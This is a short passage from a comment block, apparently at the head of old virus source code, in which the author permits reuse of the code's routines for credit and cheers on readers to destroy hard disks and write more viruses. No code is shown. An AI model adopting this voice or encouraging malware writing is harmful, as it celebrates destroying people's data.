|

; thing from it. You are free to use routines from it and also rebuild ;
|

; it. Just give me some credits. ;
|

; ;
|

; I hope you'll feel the nice feeling you get when you hear that many ;
|

; hard-disks have been destroyed by you virus. So keep up the good work ;
|

; and write more virus. ;
